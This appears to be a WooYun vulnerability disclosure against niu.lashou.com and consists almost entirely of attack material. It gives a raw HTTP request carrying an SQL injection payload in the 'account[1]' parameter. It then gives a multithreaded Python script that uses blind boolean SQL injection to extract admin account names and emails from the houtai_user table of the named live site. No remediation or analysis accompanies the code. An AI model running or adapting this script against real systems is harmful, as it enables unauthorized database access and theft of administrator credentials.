WooYun.org

POST http://niu.lashou.com/public/Public/out_password_set HTTP/1.1
Host: niu.lashou.com
Proxy-Connection: keep-alive
Content-Length: 48
Accept: */*
Origin: http://niu.lashou.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: 
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: 
loginType=1&account[0]=exp&account[1]==-1 or 1=1

#coding=utf-8
import sys,urllib2
import threading
from multiprocessing.dummy import Pool
from multiprocessing.dummy import Lock
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
def request(URL, data):
    user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
    req = urllib2.Request(URL, None, user_agent)
        
    try:
        request = urllib2.urlopen(req, data)      
    except:
        return ''  
    return request.read()
def binary_sqli(left, right, index):
   global result
   while 1:
        mid = (left + right)/2
        if mid == left:
            lock.acquire()
            result[index-1]= chr(mid)
            sys.stdout.write('\r%s' % 'tables: '+''.join(result).strip('*'))
            sys.stdout.flush()
            lock.release()
            break
        payload = "=-1 or 1=if(ascii(substring((select group_concat(account,0x3a,email) from houtai_user where status=1),%s,1))<%s,1,2)" % (index, mid)
        param = {'loginType': '1', 'account[0]':'exp', 'account[1]': payload}
        html = request('http://niu.lashou.com/public/Public/out_password_set', urllib.urlencode(param)) 
        verify = '超级管理员账号不允许获取动态密码'
        if verify in html:
            right = mid
        else:
            left = mid
def multi_run_wrapper(args):
    return binary_sqli(*args)
                   
if __name__ == '__main__':
    result=list('*'*500)
    lock=Lock()
    args = []
    for i in range(1,500):
        args.append((32, 127, i))
    pool = Pool(10)
    out = pool.map(multi_run_wrapper, args)
    pool.close() 
    pool.join()